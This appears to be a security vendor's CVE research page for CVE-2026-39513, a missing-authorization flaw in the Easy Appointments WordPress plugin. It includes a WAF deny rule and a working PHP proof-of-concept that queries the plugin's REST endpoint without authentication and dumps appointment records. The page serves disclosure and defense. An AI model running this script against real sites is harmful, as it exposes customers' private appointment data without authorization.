  "id:20261951,phase:2,deny,status:403,msg:'CVE-2026-39513 - Easy Appointments REST API missing authorization',severity:'CRITICAL',tag:'CVE-2026-39513',tag:'wordpress',tag:'easy-appointments',tag:'rest-api'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-39513 - Easy Appointments Missing Authorization

// Configure the target WordPress site URL
$target_url = 'http://example.com'; // Change this to the target site

$endpoint = $target_url . '/wp-json/wp/v2/eablocks/ea_appointments/';

// Initialize cURL session
echo "[*] Targeting: $endpointn";

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $endpoint,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'Accept: application/json'
    ],
    CURLOPT_TIMEOUT => 30,
    CURLOPT_SSL_VERIFYPEER => false // Disable for testing against HTTPS sites with self-signed certs
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

if ($error) {
    die("[!] cURL Error: $errorn");
}

echo "[*] HTTP Response Code: $http_coden";

if ($http_code == 200) {
    $data = json_decode($response, true);
    if ($data === null) {
        echo "[!] Failed to parse JSON response. Raw response:n$responsen";
    } else {
        echo "[+] Vulnerability confirmed! Retrieved appointment data:nn";
        echo json_encode($data, JSON_PRETTY_PRINT) . "n";
        echo "n[+] Total appointments found: " . count($data) . "n";
    }
} else if ($http_code == 403) {
    echo "[!] Endpoint returned 403. The site may be patched or blocked.n";
} else {
    echo "[!] Unexpected response. Response body:n$responsen";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School